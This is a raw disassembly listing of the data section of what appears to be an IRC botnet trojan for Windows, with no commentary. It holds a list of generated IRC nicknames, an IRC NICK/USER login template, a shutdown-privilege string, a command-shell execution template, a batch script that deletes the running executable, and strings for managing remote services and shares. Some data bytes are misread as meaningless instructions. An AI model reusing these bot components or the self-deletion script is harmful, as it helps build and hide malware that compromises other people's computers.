dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_438E98
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
dd offset aBirsen ; "birsen"
dd offset aYabanc ; "yabanc"
dd offset aDevre ; "devre"
dd offset aErkan ; "erkan"
dd offset aAnkm ; "ankM"
dd offset aAdem28 ; "Adem28"
dd offset aMaxsilla ; "maxsilla"
dd offset aM41ist ; "M41IST"
dd offset aAdamm33 ; "AdAMM33"
dd offset aFirtina ; "firtina"
dd offset aAta29 ; "Ata29"
dd offset aKoray ; "KORAY"
dd offset aAkden ; "akden"
dd offset aIzmirlm ; "izmirlm"
dd offset aUla ; "ula"
dd offset aNeHaber ; "NE-HABER"
dd offset aPassenger ; "passenger"
dd offset aTropikal ; "tropikal"
dd offset aCool30m ; "cool30m"
dd offset aCem39 ; "cem39"
dd offset aRerpjj ; "RERPJJ"
dd offset aTeoman ; "TEOMAN```"
dd offset aDallas43m ; "DALLAS43M"
dd offset aPrometheus ; "prometheus"
dd offset aMaveRIck ; "MaVe{R}icK"
dd offset aAdamm ; "ADAMM"
dd offset aCumhur29 ; "cumhur29"
dd offset aWantedlove ; "WANTEDLOVE"
off_438A68 dd offset aSex ; DATA XREF: sub_417E84+41r
; sub_417E84+ECr
; "sex"
dd offset aLez ; "lez"
dd offset aZex ; "zex"
dd offset aTree ; "tree"
dd offset aBad ; "bad"
; ---------------------------------------------------------------------------
push 6000438Dh
lea eax, [ebx+0]
pop eax
lea eax, [ebx+0]
push eax
lea eax, [ebx+0]
dec eax
lea eax, [ebx+0]
inc eax
lea eax, [ebx+0]
cmp [ebp-72CFFFBDh], cl
inc ebx
add [eax], ch
lea eax, [ebx+0]
sbb al, 8Dh
inc ebx
add ds:8D0C0043h[ecx*4], dl
inc ebx
add [eax], cl
lea eax, [ebx+0]
add [ebp-6D0BFFBDh], cl
inc ebx
add al, dh
retf 42h
; ---------------------------------------------------------------------------
db 10h
db 93h ; ⌠
db 43h ; C
db 0
db 88h ; ┬
db 0B1h ; ╠
db 42h ; B
db 0
db 0Ch
db 93h ; ⌠
db 43h ; C
db 0
db 8
db 93h ; ⌠
db 43h ; C
db 0
db 4
db 93h ; ⌠
db 43h ; C
db 0
db 70h ; p
db 0C6h ; ф
db 42h ; B
db 0
db 34h ; 4
db 0B9h ; ╧
db 42h ; B
db 0
db 7Ch ; |
db 0B7h ; ╥
db 42h ; B
db 0
db 0ECh ; Л
db 0CAh ; й
db 42h ; B
db 0
dd offset dword_439300
dd offset aM ; "m"
dd offset aN ; "n"
dd offset aO ; "o"
dd offset aP ; "p"
dd offset aQ ; "q"
dd offset aRs ; "rs"
dd offset aT ; "t"
dd offset aU ; "u"
dd offset aV ; "v"
dd offset dword_439318
dd offset dword_4392F8
dd offset dword_439314
dd offset dword_4392FC
dd offset aHappy ; "happy"
dd offset aRg ; "rg"
dd offset aTy ; "ty"
dd offset aGf ; "gf"
dd offset aRt ; "rt"
dd offset aSdf ; "sdf"
dd offset aUi ; "ui"
dd offset aLuvy ; "luvy"
dd offset aTrimy ; "trimy"
dd offset aTruck ; "truck"
dd offset aMuckc ; "muckc"
dd offset dword_4392FC
dd offset dword_439308
dd offset aS_0 ; "s"
dd offset aQ ; "q"
dd offset off_438CB8
dd offset aBbl ; "|bbl"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset a___0 ; "_|_"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset byte_43DB88
dd offset byte_43DB88
dd offset dword_4392C4
dd offset aM_0 ; "M"
dd offset aLuvu ; "LUVU"
dd offset aSad ; "Sad"
dd offset aF_2 ; "^^^f^"
dd offset dword_4392F4
dd offset byte_43DB88
dd offset aSleeping ; "Sleeping"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset aFuck_0 ; "Fuck"
dd offset aFree ; "Free"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset dword_4392A8
dd offset byte_43DB88
dd offset off_438C78
dd offset aGirl_0 ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit ; "shit"
dd offset aAha ; "aha"
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0 ; "mof0"
dd offset aMofo ; "mofo"
dd offset dword_438C38
dd offset dword_438C34
dd offset dword_438C2C
dd offset dword_438C20
dd offset dword_438C18
dd offset dword_438C10
dd offset dword_438C08
dd offset dword_438C04
dd offset dword_438C00
dword_438C00 dd 7536h ; DATA XREF: ___:00438BFCo
dword_438C04 dd 7535h ; DATA XREF: ___:00438BF8o
dword_438C08 dd 7C75347Ch, 0 ; DATA XREF: ___:00438BF4o
dword_438C10 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438BF0o
dword_438C18 dd 7375347Ch, 7Ch ; DATA XREF: ___:00438BECo
dword_438C20 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438BE8o
dword_438C2C dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:00438BE4o
dword_438C34 dd 6C6F6Ch ; DATA XREF: ___:00438BE0o
dword_438C38 dd 746F74h ; DATA XREF: ___:00438BDCo
aMofo db 'mofo',0 ; DATA XREF: ___:00438BD8o
align 4
aMof0 db 'mof0',0 ; DATA XREF: ___:00438BD4o
align 4
aMuha db 'muha',0 ; DATA XREF: ___:00438BD0o
align 4
aYeah db 'yeah',0 ; DATA XREF: ___:00438BCCo
align 4
aAha db 'aha',0 ; DATA XREF: ___:00438BC8o
aShit db 'shit',0 ; DATA XREF: ___:00438BC4o
align 4
aGurl db 'gurl',0 ; DATA XREF: ___:00438BC0o
align 10h
aGirl_0 db 'GIRL',0 ; DATA XREF: ___:00438BBCo
align 4
off_438C78 dd offset loc_594F42 ; DATA XREF: ___:00438BB8o
aFree db 'Free',0 ; DATA XREF: ___:00438BA4o
align 4
aFuck_0 db 'Fuck',0 ; DATA XREF: ___:00438BA0o
align 4
aSleeping db 'Sleeping',0 ; DATA XREF: ___:00438B94o
align 4
aF_2 db '^^^f^',0 ; DATA XREF: ___:00438B88o
align 10h
aSad db 'Sad',0 ; DATA XREF: ___:00438B84o
aLuvu db 'LUVU',0 ; DATA XREF: ___:00438B80o
align 4
a___0 db '_|_',0 ; DATA XREF: ___:00438B64o
aBbl db '|bbl',0 ; DATA XREF: ___:00438B58o
align 4
off_438CB8 dd offset loc_425240+2 ; DATA XREF: ___:00438B54o
aMuckc db 'muckc',0 ; DATA XREF: ___:00438B40o
align 4
aTruck db 'truck',0 ; DATA XREF: ___:00438B3Co
align 4
aTrimy db 'trimy',0 ; DATA XREF: ___:00438B38o
align 4
aLuvy db 'luvy',0 ; DATA XREF: ___:00438B34o
align 4
aUi db 'ui',0 ; DATA XREF: ___:00438B30o
align 10h
aSdf db 'sdf',0 ; DATA XREF: ___:00438B2Co
aRt db 'rt',0 ; DATA XREF: ___:00438B28o
align 4
aGf db 'gf',0 ; DATA XREF: ___:00438B24o
align 4
aTy db 'ty',0 ; DATA XREF: ___:00438B20o
align 10h
aRg db 'rg',0 ; DATA XREF: ___:00438B1Co
align 4
aHappy db 'happy',0 ; DATA XREF: ___:00438B18o
align 4
aRs db 'rs',0 ; DATA XREF: ___:00438AF8o
align 10h
aQ8A db '|q8|a',0
align 4
aQ8 db 'Q8',0
align 4
aSick db 'sick}}',0
align 4
aWiked db '|wiked|',0
aLuvuF db '||luvu-f|',0
align 4
aGens db '{gens|',0
align 10h
aSex_0 db '{sex}',0
align 4
aHub db '{hub}',0
align 10h
aLuck db '|luck|',0
align 4
aSuck db '|suck|',0
align 10h
aTot db '-|tot|',0
align 4
aWoh db '|woh|',0
align 10h
aTambe db '|tambe|',0
aLag db 'lag',0
aBad db 'bad',0 ; DATA XREF: ___:00438A78o
aTree db 'tree',0 ; DATA XREF: ___:00438A74o
align 4
aZex db 'zex',0 ; DATA XREF: ___:00438A70o
aLez db 'lez',0 ; DATA XREF: ___:00438A6Co
aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00438A64o
align 4
aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00438A60o
align 4
aAdamm db 'ADAMM',0 ; DATA XREF: ___:00438A5Co
align 10h
aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00438A58o
align 4
aPrometheus db 'prometheus',0 ; DATA XREF: ___:00438A54o
align 4
aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00438A50o
align 4
aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00438A4Co
align 10h
aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00438A48o
align 4
aCem39 db 'cem39',0 ; DATA XREF: ___:00438A44o
align 10h
aCool30m db 'cool30m',0 ; DATA XREF: ___:00438A40o
aTropikal db 'tropikal',0 ; DATA XREF: ___:00438A3Co
align 4
aPassenger db 'passenger',0 ; DATA XREF: ___:00438A38o
align 10h
aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00438A34o
align 4
aUla db 'ula',0 ; DATA XREF: ___:00438A30o
aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00438A2Co
aAkden db 'akden',0 ; DATA XREF: ___:00438A28o
align 10h
aKoray db 'KORAY',0 ; DATA XREF: ___:00438A24o
align 4
aAta29 db 'Ata29',0 ; DATA XREF: ___:00438A20o
align 10h
aFirtina db 'firtina',0 ; DATA XREF: ___:00438A1Co
aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00438A18o
aM41ist db 'M41IST',0 ; DATA XREF: ___:00438A14o
align 4
aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00438A10o
align 4
aAdem28 db 'Adem28',0 ; DATA XREF: ___:00438A0Co
align 4
aAnkm db 'ankM',0 ; DATA XREF: ___:00438A08o
align 4
aErkan db 'erkan',0 ; DATA XREF: ___:00438A04o
align 4
aDevre db 'devre',0 ; DATA XREF: ___:00438A00o
align 4
aYabanc db 'yabanc',0 ; DATA XREF: ___:004389FCo
align 4
aBirsen db 'birsen',0 ; DATA XREF: ___:004389F8o
align 4
aA44m db 'a44m',0 ; DATA XREF: ___:004389F4o
align 4
aAlcatras db 'alcatras',0 ; DATA XREF: ___:004389F0o
align 4
off_438E98 dd offset byte_4B5245 ; DATA XREF: ___:004389ECo
aSevda db 'sevda',0 ; DATA XREF: ___:004389E8o
align 4
aKotan db 'kotan',0 ; DATA XREF: ___:004389E4o
align 4
aTegmen db 'TEGMEN',0 ; DATA XREF: ___:004389E0o
align 4
aAchilles db 'Achilles',0 ; DATA XREF: ___:004389DCo
align 10h
aKapk db 'kapk',0 ; DATA XREF: ___:004389D8o
align 4
aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:004389D4o
align 4
aHayran db 'hayran',0 ; DATA XREF: ___:004389D0o
align 4
aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:004389CCo
align 4
aAnkar db 'Ankar',0 ; DATA XREF: ___:004389C8o
align 10h
aDjspace db 'DJSPACE',0 ; DATA XREF: ___:004389C4o
aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:004389C0o
align 4
aUmut db 'umut-',0 ; DATA XREF: ___:004389BCo
align 4
aAdalim db 'ADALIM',0 ; DATA XREF: ___:004389B8o
align 4
aKumul db 'kumul',0 ; DATA XREF: ___:004389B4o
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:004389B0o
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:004389ACo
align 10h
aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:004389A8o
align 4
aKashmira db 'Kashmira',0 ; DATA XREF: ___:004389A4o
align 4
aAykut1 db 'aykut1',0 ; DATA XREF: ___:004389A0o
align 10h
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:0043899Co
align 10h
aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00438998o
aHoly db 'holy',0 ; DATA XREF: ___:00438994o
align 10h
aFlord db 'FLoRD',0 ; DATA XREF: ___:00438990o
align 4
aKebikec db 'kebikec',0 ; DATA XREF: ___:0043898Co
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00438988o
align 4
aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00438984o
align 4
aEmre db 'Emre--',0 ; DATA XREF: ___:00438980o
align 10h
aRamtha db 'RAMTHA',0 ; DATA XREF: ___:0043897Co
align 4
aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00438978o
align 4
aHakan3 db 'hakan3',0 ; DATA XREF: ___:00438974o
align 4
aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00438970o
align 4
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:0043896Co
aArda db 'arda',0 ; DATA XREF: ___:00438968o
align 4
aDevran db 'devran',0 ; DATA XREF: ___:00438964o
align 4
aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00438960o
aDenizlim db 'DenizliM',0 ; DATA XREF: ___:0043895Co
align 4
aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00438958o
align 4
aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00438954o
align 10h
aBogac db 'bogac',0 ; DATA XREF: ___:00438950o
align 4
aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:0043894Co
align 4
aAnkh db 'ankh',0 ; DATA XREF: ___:00438948o
align 4
off_43902C dd offset byte_457441 ; DATA XREF: ___:00438944o
dword_439030 dd 414C5941h, 2Dh ; DATA XREF: ___:00438940o
aAlbina db 'albina',0 ; DATA XREF: ___:0043893Co
align 10h
aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00438938o
align 4
aZack db 'ZACK',0 ; DATA XREF: ___:00438934o
align 4
aAnk32m db 'ank32m',0 ; DATA XREF: ___:00438930o
align 4
aTurkyy db 'turkyy',0 ; DATA XREF: ___:0043892Co
align 4
aAhmet db 'ahmet',0 ; DATA XREF: ___:00438928o
align 4
aPelincik db 'pelincik',0 ; DATA XREF: ___:00438924o
align 4
aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00438920o
align 4
aRetg db 'RETG',0 ; DATA XREF: ___:0043891Co
align 4
aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00438918o
align 4
aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00438914o
aAslii db 'aslii',0 ; DATA XREF: ___:00438910o
align 4
aErnesto db 'ERNESTO',0 ; DATA XREF: ___:0043890Co
aHaticem db 'haticem',0 ; DATA XREF: ___:00438908o
aArzu db 'ARZU',0 ; DATA XREF: ___:00438904o
align 10h
aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00438900o
aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:004388FCo
align 4
aVenedik34 db 'venedik34',0 ; DATA XREF: ___:004388F8o
align 10h
aTekir db 'tekir',0 ; DATA XREF: ___:004388F4o
align 4
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:004388F0o
align 4
aTrend3 db 'trend3',0 ; DATA XREF: ___:004388ECo
align 4
aMelekk db 'melekk',0 ; DATA XREF: ___:004388E8o
align 4
aAkin db 'AKIN',0 ; DATA XREF: ___:004388E4o
align 4
aMary_0 db 'MARY',0 ; DATA XREF: ___:004388E0o
align 4
aJericho db 'JERICHO',0 ; DATA XREF: ___:004388DCo
aTolga34 db 'Tolga34',0 ; DATA XREF: ___:004388D8o
aMisssunday db 'misssunday',0 ; DATA XREF: ___:004388D4o
align 10h
aIrmal db 'irmal',0 ; DATA XREF: ___:004388D0o
align 4
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:004388CCo
align 4
aBerk19 db 'berk19',0 ; DATA XREF: ___:004388C8o
align 10h
aHexaaa db 'hexaaa',0 ; DATA XREF: ___:004388C4o
align 4
aErkan27 db 'erkan27',0 ; DATA XREF: ___:004388C0o
aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:004388BCo
align 4
aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:004388B8o
align 4
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:004388B4o
align 4
aKencing db 'Kencing',0 ; DATA XREF: ___:004388B0o
aReshma db 'reshma',0 ; DATA XREF: ___:004388ACo
align 4
aCamel db 'CAMEL',0 ; DATA XREF: ___:004388A8o
align 4
aGirl db 'GirL',0 ; DATA XREF: ___:004388A4o
align 4
aImra db 'imra',0 ; DATA XREF: ___:004388A0o
align 4
aCoredump db 'CoreDump',0 ; DATA XREF: ___:0043889Co
align 4
aPuregold db 'puregold',0 ; DATA XREF: ___:00438898o
align 4
aKermit db 'kermit',0 ; DATA XREF: ___:00438894o
align 4
aManee db 'manee',0 ; DATA XREF: ___:00438890o
align 4
aTroller db 'troller',0 ; DATA XREF: ___:0043888Co
aLuisa db 'Luisa',0 ; DATA XREF: ___:00438888o
align 4
aNastysha db 'nastysha',0 ; DATA XREF: ___:00438884o
align 10h
aRimpy db 'rimpy',0 ; DATA XREF: ___:00438880o
align 4
aJanno db 'janno',0 ; DATA XREF: ___:0043887Co
align 10h
aBunty db 'bunty',0 ; DATA XREF: ___:00438878o
align 4
aHeval db 'heval',0 ; DATA XREF: ___:00438874o
align 10h
aCme db 'cme',0 ; DATA XREF: ___:00438870o
aMarcy db 'marcy',0 ; DATA XREF: ___:0043886Co
align 4
aTalika db 'talika',0 ; DATA XREF: ___:00438868o
align 4
aShez db 'Shez',0 ; DATA XREF: ___:00438864o
align 4
aKen db 'ken',0 ; DATA XREF: ___:00438860o
aFlexster db 'flexster',0 ; DATA XREF: ___:0043885Co
align 4
aKoko db 'koko',0 ; DATA XREF: ___:00438858o
align 4
aMale db 'male',0 ; DATA XREF: ___:00438854o
align 4
aSwin db 'swin',0 ; DATA XREF: ___:00438850o
align 4
aCar1nna db 'Car1nna',0 ; DATA XREF: ___:0043884Co
aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00438848o
align 4
aEmilya db 'emilya',0 ; DATA XREF: ___:00438844o
align 4
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00438840o
align 4
aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:0043883Co
aFarooq db 'farooq',0 ; DATA XREF: ___:00438838o
align 4
aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00438834o
align 4
aM_0: ; DATA XREF: ___:00438830o
; ___:00438B7Co
unicode 0, <M>,0
word_439298 dw 4Eh ; DATA XREF: sub_41A3C6+38r
; ___:0043882Co
align 4
dword_43929C dd 42h ; DATA XREF: ___:00438828o
dword_4392A0 dd 56h ; DATA XREF: ___:00438824o
dword_4392A4 dd 43h ; DATA XREF: ___:00438820o
dword_4392A8 dd 58h ; DATA XREF: ___:0043881Co
; ___:00438BB0o
dword_4392AC dd 5Ah ; DATA XREF: ___:00438818o
dword_4392B0 dd 4Ch ; DATA XREF: ___:00438814o
dword_4392B4 dd 4Bh ; DATA XREF: ___:00438810o
dword_4392B8 dd 4Ah ; DATA XREF: ___:0043880Co
dword_4392BC dd 48h ; DATA XREF: ___:00438808o
dword_4392C0 dd 47h ; DATA XREF: ___:00438804o
dword_4392C4 dd 46h ; DATA XREF: ___:00438800o
; ___:00438B78o
dword_4392C8 dd 44h ; DATA XREF: ___:004387FCo
dword_4392CC dd 53h ; DATA XREF: ___:004387F8o
dword_4392D0 dd 50h ; DATA XREF: ___:004387F0o
dword_4392D4 dd 4Fh ; DATA XREF: ___:004387ECo
dword_4392D8 dd 55h ; DATA XREF: ___:004387E4o
word_4392DC dw 59h ; DATA XREF: sub_41A6EA+38r
; ___:004387E0o
align 10h
dword_4392E0 dd 54h ; DATA XREF: ___:004387DCo
dword_4392E4 dd 52h ; DATA XREF: ___:004387D8o
dword_4392E8 dd 45h ; DATA XREF: ___:004387D4o
dword_4392EC dd 57h ; DATA XREF: ___:004387D0o
dword_4392F0 dd 51h ; DATA XREF: ___:004387CCo
dword_4392F4 dd 62h ; DATA XREF: ___:004387C0o
; ___:00438B8Co
dword_4392F8 dd 78h ; DATA XREF: ___:00438B0Co
dword_4392FC dd 7Ah ; DATA XREF: ___:00438B14o
; ___:00438B44o
dword_439300 dd 6Ch, 68h ; DATA XREF: ___:004387ACo
; ___:00438AE0o
dword_439308 dd 67h, 66h, 64h ; DATA XREF: ___:00438B48o
dword_439314 dd 79h ; DATA XREF: ___:00438B10o
dword_439318 dd 77h ; DATA XREF: ___:00438B08o
dword_43931C dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_417B76+B1o
dword_439328 dd 323334h ; DATA XREF: sub_417B76+79o
dword_43932C dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_417B76+61o
aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417C61+9Bo
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 4
a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417E84+BCo
; sub_417E84+175r ...
align 4
dword_439374 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4393C0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_4182CD+E3o
; ---------------------------------------------------------------------------
loc_4393DC: ; DATA XREF: sub_4182CD+118o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_4393F0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_4182CD+13Fo
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_4187E0+1Co
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4188A6+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4188A6+48o
align 4
unk_4394A4 db 2Dh ; - ; DATA XREF: sub_418A2E+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 4
unk_4394D4 db 2Dh ; - ; DATA XREF: sub_418A2E+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 4
dword_4394FC dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
; DATA XREF: sub_418A2E+5Co
dd 65726165h, 64h
off_439518 dd offset aAdd ; DATA XREF: sub_418C0E+60r
; sub_418FE5+51r ...
; "Add"
off_43951C dd offset aAdded ; DATA XREF: sub_418C0E+2Dr
; sub_418FE5+83r ...
; "Added"
dword_439520 dd 0 ; DATA XREF: sub_418C0E+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 10h
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 8
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 43958Ch, 439584h, 2, 439578h, 43956Ch, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: ___:0043954Co
aStop_0 db 'Stop',0 ; DATA XREF: ___:00439548o
align 4
aStarted db 'Started',0 ; DATA XREF: ___:00439540o
aStart_0 db 'Start',0 ; DATA XREF: ___:0043953Co
align 4
aListed db 'Listed',0 ; DATA XREF: ___:00439534o
align 4
aList_1 db 'List',0 ; DATA XREF: ___:00439530o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: ___:00439528o
aDelete_0 db 'Delete',0 ; DATA XREF: ___:00439524o
align 4
aAdded db 'Added',0 ; DATA XREF: ___:off_43951Co
align 4
aAdd db 'Add',0 ; DATA XREF: ___:off_439518o
unk_4395E0 db 2Dh ; - ; DATA XREF: sub_418C0E+67o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
unk_439604 db 2Dh ; - ; DATA XREF: sub_418C0E+51o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 10h
unk_439630 db 2Dh ; - ; DATA XREF: sub_418C0E+33o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co
align 10h
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o
align 10h
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_418D2A:loc_418E34o
db 'the state of the service.',0
align 10h
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_418D2A:loc_418E2Do
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_418D2A:loc_418E26o
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_418D2A:loc_418E1Fo
align 10h
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o
align 10h
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_418D2A:loc_418E11o
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_418D2A:loc_418E0Ao
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_418D2A:loc_418E03o
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_418D2A:loc_418DD8o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_418D2A:loc_418DD1o
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_418D2A:loc_418DCAo
db 'tServiceCtrlDispatcher.',0
align 10h
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_418D2A:loc_418DC3o
align 10h
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_418D2A:loc_418D98o
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_418D2A:loc_418D8Eo
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_418D2A:loc_418D84o
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_418D2A:loc_418D70o
align 10h
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co
align 4
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_418EA8+EBo
aStopped db ' Stopped',0 ; DATA XREF: sub_418EA8:loc_418F74o
aStarting db ' Starting',0 ; DATA XREF: sub_418EA8:loc_418F6Do
aStoping db ' Stoping',0 ; DATA XREF: sub_418EA8:loc_418F66o
aRunning db ' Running',0 ; DATA XREF: sub_418EA8:loc_418F5Fo
aContinuing db ' Continuing',0 ; DATA XREF: sub_418EA8:loc_418F58o
aPausing db ' Pausing',0 ; DATA XREF: sub_418EA8:loc_418F51o
aPaused_0 db ' Paused',0 ; DATA XREF: sub_418EA8:loc_418F4Ao
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_418EA8+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_418EA8+25o
align 4
unk_439B84 db 2Dh ; - ; DATA XREF: sub_418FE5+ACo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 4
dword_439BA8 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
; DATA XREF: sub_418FE5+8Ao
dd 73252720h, 27h
unk_439BC4 db 2Dh ; - ; DATA XREF: sub_418FE5+58o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
